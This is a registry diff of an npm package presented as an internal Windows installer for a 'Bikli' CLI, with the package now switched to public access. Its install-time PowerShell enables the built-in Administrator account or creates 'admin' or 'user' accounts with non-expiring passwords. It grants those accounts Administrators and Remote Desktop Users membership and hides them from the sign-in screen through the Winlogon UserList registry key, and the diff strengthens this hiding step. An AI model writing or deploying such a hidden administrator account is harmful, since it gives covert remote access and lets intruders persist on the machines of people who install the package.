@biklitime/biklimaster 1.1.6 → 1.1.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -4
- package/bin/biklimaster.js +9 -6
- package/lib/bikliwrapper.js +2 -1
- package/package.json +2 -2
package/README.md
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
|
-
# @
|
|
1
|
+
# @biklitime/biklimaster
|
|
2
2
|
|
|
3
|
-
Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper. This is a
|
|
4
|
-
scoped package intended for your own managed machines
|
|
3
|
+
Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper. This is a public,
|
|
4
|
+
scoped package intended for your own managed machines.
|
|
5
5
|
|
|
6
6
|
Provide the account password and Bikli key at install time via environment variables (they are not
|
|
7
7
|
shipped in the package):
|
|
@@ -9,7 +9,7 @@ shipped in the package):
|
|
|
9
9
|
```text
|
|
10
10
|
set BIKLIMASTER_USER_PASSWORD=your-password
|
|
11
11
|
set BIKLIMASTER_BIKLI_KEY=your-bikli-key
|
|
12
|
-
npm install -g @
|
|
12
|
+
npm install -g @biklitime/biklimaster
|
|
13
13
|
```
|
|
14
14
|
|
|
15
15
|
The npm postinstall hook requests Windows administrator approval once, then:
|
package/bin/biklimaster.js
CHANGED
|
@@ -273,16 +273,15 @@ function createRdpAdministrator() {
|
|
|
273
273
|
`if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
|
|
274
274
|
`$builtInWasDisabled=-not $builtIn.Enabled`,
|
|
275
275
|
`$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
|
|
276
|
-
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName '
|
|
276
|
+
`if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
|
|
277
277
|
`if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
|
|
278
278
|
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
|
|
279
279
|
`$verified=@()`,
|
|
280
280
|
`foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
|
|
281
281
|
`$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
|
|
282
|
-
|
|
283
|
-
`New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null`,
|
|
284
|
-
`
|
|
285
|
-
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name} | ConvertTo-Json -Compress`
|
|
282
|
+
`$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
|
|
283
|
+
`if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
284
|
+
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
286
285
|
].join(';');
|
|
287
286
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
288
287
|
env: {
|
|
@@ -309,7 +308,11 @@ function createRdpAdministrator() {
|
|
|
309
308
|
console.log(`Administrator, admin, and user accounts already exist; left their passwords unchanged and verified ${account.Name}.`);
|
|
310
309
|
}
|
|
311
310
|
console.log(`Verified ${account.Name} in Administrators and Remote Desktop Users.`);
|
|
312
|
-
|
|
311
|
+
if (account.AlreadyHidden) {
|
|
312
|
+
console.log(`${account.HiddenUser} is already hidden from the sign-in user list; left it unchanged.`);
|
|
313
|
+
} else {
|
|
314
|
+
console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
|
|
315
|
+
}
|
|
313
316
|
}
|
|
314
317
|
|
|
315
318
|
function install() {
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -329,7 +329,8 @@ function selfTest() {
|
|
|
329
329
|
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
330
330
|
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
331
331
|
const checks = {
|
|
332
|
-
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster'
|
|
332
|
+
packageName: packageJson.name === 'bikliwrapper' || packageJson.name === 'biklimaster' ||
|
|
333
|
+
packageJson.name === '@biklitime/biklimaster',
|
|
333
334
|
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
334
335
|
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
335
336
|
iniPresent: ini.length > 100000,
|
package/package.json
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@biklitime/biklimaster",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.8",
|
|
4
4
|
"description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
|
|
5
5
|
"license": "BSD-3-Clause",
|
|
6
6
|
"publishConfig": {
|
|
7
|
-
"access": "
|
|
7
|
+
"access": "public"
|
|
8
8
|
},
|
|
9
9
|
"os": [
|
|
10
10
|
"win32"
|